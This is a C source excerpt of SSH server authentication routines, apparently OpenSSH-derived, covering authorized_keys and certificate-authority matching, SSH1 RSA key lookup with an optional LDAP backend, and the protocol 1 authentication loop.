/* * Checks whether key is allowed in authorized_keys-format file, * returns 1 if the key is allowed or 0 otherwise. */ static int check_authkeys_file(FILE *f, char *file, Key* key, struct passwd *pw) { char line[SSH_MAX_PUBKEY_BYTES]; int found_key = 0; u_long linenum = 0; Key *found; found_key = 0; found = NULL; while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) { char *cp, *key_options = NULL, *fp = NULL; const char *reason = NULL; /* Always consume entrire file */ if (found_key) continue; if (found != NULL) key_free(found); found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type); auth_clear_options(); /* Skip leading whitespace, empty and comment lines. */ for (cp = line; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; if (key_read(found, &cp) != 1) { /* no key? check if there are options for this key */ int quoted = 0; debug2("user_key_allowed: check options: '%s'", cp); key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; if ((fp = sshkey_fingerprint(found, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) continue; debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: free(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw, &reason) != 0) goto fail_reason; verbose("Accepted certificate ID \"%s\" (serial %llu) " "signed by %s CA %s via %s", key->cert->key_id, (unsigned long long)key->cert->serial, key_type(found), fp, file); free(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; if ((fp = sshkey_fingerprint(found, options.fingerprint_hash, SSH_FP_DEFAULT)) == NULL) continue; debug("matching key found: file %s, line %lu %s %s", file, linenum, key_type(found), fp); free(fp); found_key = 1; continue; } } if (found != NULL) key_free(found); if (!found_key) debug2("key not found"); return found_key; }
int auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey) { char *file; u_int i, allowed = 0; temporarily_use_uid(pw); #ifdef WITH_LDAP_PUBKEY if (options.lpk.on) { u_int bits; int sbits; ldap_key_t *k; /* here is the job */ Key *key = key_new(KEY_RSA1); debug("[LDAP] trying LDAP first uid=%s", pw->pw_name); if ( ldap_ismember(&options.lpk, pw->pw_name) > 0) { if ( (k = ldap_getuserkey(&options.lpk, pw->pw_name)) != NULL) { for (i = 0 ; i < k->num ; i++) { char *cp, *xoptions = NULL; for (cp = k->keys[i]->bv_val; *cp == ' ' || *cp == '\t'; cp++) ; if (!*cp || *cp == '\n' || *cp == '#') continue; /* * Check if there are options for this key, and if so, * save their starting address and skip the option part * for now. If there are no options, set the starting * address to NULL. */ if (*cp < '0' || *cp > '9') { int quoted = 0; xoptions = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } } else xoptions = NULL; /* Parse the key from the line. */ if (hostfile_read_key(&cp, &sbits, key) == 0) { debug("[LDAP] line %d: non ssh1 key syntax", i); continue; } bits = sbits; /* cp now points to the comment part. */ /* Check if the we have found the desired key (identified by its modulus). */ if (BN_cmp(key->rsa->n, client_n) != 0) continue; /* check the real bits */ if (bits != (unsigned int)BN_num_bits(key->rsa->n)) logit("[LDAP] Warning: ldap, line %lu: keysize mismatch: " "actual %d vs. announced %d.", (unsigned long)i, BN_num_bits(key->rsa->n), bits); /* We have found the desired key. */ /* * If our options do not allow this key to be used, * do not send challenge. */ if (!auth_parse_options(pw, xoptions, "[LDAP]", (unsigned long) i)) continue; /* break out, this key is allowed */ allowed = 1; /* add the return stuff etc... */ /* Restore the privileged uid. */ restore_uid(); /* return key if allowed */ if (allowed && rkey != NULL) *rkey = key; else key_free(key); ldap_keys_free(k); return (allowed); } } else { logit("[LDAP] no keys found for '%s'!", pw->pw_name); } } else { logit("[LDAP] '%s' is not in '%s'", pw->pw_name, options.lpk.sgroup); } } #endif for (i = 0; !allowed && i < options.num_authkeys_files; i++) { if (strcasecmp(options.authorized_keys_files[i], "none") == 0) continue; file = expand_authorized_keys( options.authorized_keys_files[i], pw); allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey); free(file); } restore_uid(); return allowed; }
/* * read packets, try to authenticate the user and * return only if authentication is successful */ static void do_authloop(Authctxt *authctxt) { int authenticated = 0; u_int bits; Key *client_host_key; BIGNUM *n; char *client_user, *password; char info[1024]; u_int dlen; u_int ulen; int type = 0; struct passwd *pw = authctxt->pw; debug("Attempting authentication for %s%.100s.", authctxt->valid ? "" : "illegal user ", authctxt->user); /* If the user has no password, accept authentication immediately. */ if (options.password_authentication && #if defined(KRB4) || defined(KRB5) (!options.kerberos_authentication || options.kerberos_or_local_passwd) && #endif PRIVSEP(auth_password(authctxt, ""))) { auth_log(authctxt, 1, "without authentication", ""); return; } /* Indicate that authentication is needed. */ packet_start(SSH_SMSG_FAILURE); packet_send(); packet_write_wait(); client_user = NULL; for ( ;; ) { /* default to fail */ authenticated = 0; info[0] = '\0'; /* Get a packet from the client. */ authctxt->v1_auth_type = type = packet_read(); authctxt->v1_auth_name = get_authname(type); authctxt->attempt++; /* Process the packet. */ switch (type) { #if defined(KRB4) || defined(KRB5) case SSH_CMSG_AUTH_KERBEROS: if (!options.kerberos_authentication) { verbose("Kerberos authentication disabled."); } else { char *kdata = packet_get_string(&dlen); packet_check_eom(); if (kdata[0] == 4) { /* KRB_PROT_VERSION */ #ifdef KRB4 KTEXT_ST tkt, reply; tkt.length = dlen; if (tkt.length < MAX_KTXT_LEN) memcpy(tkt.dat, kdata, tkt.length); if (PRIVSEP(auth_krb4(authctxt, &tkt, &client_user, &reply))) { authenticated = 1; snprintf(info, sizeof(info), " tktuser %.100s", client_user); packet_start( SSH_SMSG_AUTH_KERBEROS_RESPONSE); packet_put_string((char *) reply.dat, reply.length); packet_send(); packet_write_wait(); } #endif /* KRB4 */ } else { #ifdef KRB5 krb5_data tkt, reply; tkt.length = dlen; tkt.data = kdata; if (PRIVSEP(auth_krb5(authctxt, &tkt, &client_user, &reply))) { authenticated = 1; snprintf(info, sizeof(info), " tktuser %.100s", client_user); /* Send response to client */ packet_start( SSH_SMSG_AUTH_KERBEROS_RESPONSE); packet_put_string((char *) reply.data, reply.length); packet_send(); packet_write_wait(); if (reply.length) xfree(reply.data); } #endif /* KRB5 */ } xfree(kdata); } break; #endif /* KRB4 || KRB5 */ #if defined(AFS) || defined(KRB5) /* XXX - punt on backward compatibility here. */ case SSH_CMSG_HAVE_KERBEROS_TGT: packet_send_debug("Kerberos TGT passing disabled before authentication."); break; #ifdef AFS case SSH_CMSG_HAVE_AFS_TOKEN: packet_send_debug("AFS token passing disabled before authentication."); break; #endif /* AFS */ #endif /* AFS || KRB5 */ case SSH_CMSG_AUTH_RHOSTS: if (!options.rhosts_authentication) { verbose("Rhosts authentication disabled."); break; } /* * Get client user name. Note that we just have to * trust the client; this is one reason why rhosts * authentication is insecure. (Another is * IP-spoofing on a local network.) */ client_user = packet_get_string(&ulen); packet_check_eom(); /* Try to authenticate using /etc/hosts.equiv and .rhosts. */ authenticated = auth_rhosts(pw, client_user); snprintf(info, sizeof info, " ruser %.100s", client_user); break; case SSH_CMSG_AUTH_RHOSTS_RSA: if (!options.rhosts_rsa_authentication) { verbose("Rhosts with RSA authentication disabled."); break; } /* * Get client user name. Note that we just have to * trust the client; root on the client machine can * claim to be any user. */ client_user = packet_get_string(&ulen); /* Get the client host key. */ client_host_key = key_new(KEY_RSA1); bits = packet_get_int(); packet_get_bignum(client_host_key->rsa->e); packet_get_bignum(client_host_key->rsa->n); if (bits != BN_num_bits(client_host_key->rsa->n)) verbose("Warning: keysize mismatch for client_host_key: " "actual %d, announced %d", BN_num_bits(client_host_key->rsa->n), bits); packet_check_eom(); authenticated = auth_rhosts_rsa(pw, client_user, client_host_key); key_free(client_host_key); snprintf(info, sizeof info, " ruser %.100s", client_user); break; case SSH_CMSG_AUTH_RSA: if (!options.rsa_authentication) { verbose("RSA authentication disabled."); break; } /* RSA authentication requested. */ if ((n = BN_new()) == NULL) fatal("do_authloop: BN_new failed"); packet_get_bignum(n); packet_check_eom(); authenticated = auth_rsa(pw, n); BN_clear_free(n); break; case SSH_CMSG_AUTH_PASSWORD: authctxt->init_attempt++; if (!options.password_authentication) { verbose("Password authentication disabled."); break; } /* * Read user password. It is in plain text, but was * transmitted over the encrypted channel so it is * not visible to an outside observer. */ password = packet_get_string(&dlen); packet_check_eom(); /* Try authentication with the password. */ if (authctxt->init_failures < options.max_init_auth_tries) authenticated = PRIVSEP(auth_password(authctxt, password)); memset(password, 0, strlen(password)); xfree(password); break; case SSH_CMSG_AUTH_TIS: debug("rcvd SSH_CMSG_AUTH_TIS"); if (options.challenge_response_authentication == 1) { char *challenge = get_challenge(authctxt); if (challenge != NULL) { debug("sending challenge '%s'", challenge); packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE); packet_put_cstring(challenge); xfree(challenge); packet_send(); packet_write_wait(); continue; } } break; case SSH_CMSG_AUTH_TIS_RESPONSE: debug("rcvd SSH_CMSG_AUTH_TIS_RESPONSE"); if (options.challenge_response_authentication == 1) { char *response = packet_get_string(&dlen); debug("got response '%s'", response); packet_check_eom(); authenticated = verify_response(authctxt, response); memset(response, 'r', dlen); xfree(response); } break; default: /* * Any unknown messages will be ignored (and failure * returned) during authentication. */ log("Unknown message during authentication: type %d", type); break; } #ifdef BSD_AUTH if (authctxt->as) { auth_close(authctxt->as); authctxt->as = NULL; } #endif if (!authctxt->valid && authenticated) { authenticated = 0; log("Ignoring authenticated invalid user %s", authctxt->user); } #ifdef _UNICOS if (type == SSH_CMSG_AUTH_PASSWORD && !authenticated) cray_login_failure(authctxt->user, IA_UDBERR); if (authenticated && cray_access_denied(authctxt->user)) { authenticated = 0; fatal("Access denied for user %s.",authctxt->user); } #endif /* _UNICOS */ #ifdef HAVE_CYGWIN if (authenticated && !check_nt_auth(type == SSH_CMSG_AUTH_PASSWORD, pw)) { packet_disconnect("Authentication rejected for uid %d.", pw == NULL ? -1 : pw->pw_uid); authenticated = 0; } #else /* Special handling for root */ if (!use_privsep && authenticated && authctxt->pw->pw_uid == 0 && !auth_root_allowed(get_authname(type))) authenticated = 0; #endif #ifdef USE_PAM /* XXX PAM and PRIVSEP don't mix */ if (use_privsep && authenticated) fatal("Privsep is not supported"); if (authenticated && type != SSH_CMSG_AUTH_PASSWORD) authenticated = do_pam_non_initial_userauth(authctxt); else if (authenticated && !AUTHPAM_DONE(authctxt)) authenticated = 0; if (!authenticated) authctxt->pam_retval = AUTHPAM_ERROR(authctxt, PAM_PERM_DENIED); #endif /* USE_PAM */ /* Log before sending the reply */ auth_log(authctxt, authenticated, get_authname(type), info); if (client_user != NULL) { xfree(client_user); client_user = NULL; } if (authenticated) return; if (type == SSH_CMSG_AUTH_PASSWORD) authctxt->init_failures++; if (authctxt->failures++ > options.max_auth_tries) { #ifdef HAVE_BSM fatal_remove_cleanup(audit_failed_login_cleanup, authctxt); audit_sshd_login_failure(&ah, PAM_MAXTRIES); #endif /* HAVE_BSM */ packet_disconnect(AUTH_FAIL_MSG, authctxt->user); } packet_start(SSH_SMSG_FAILURE); packet_send(); packet_write_wait(); } }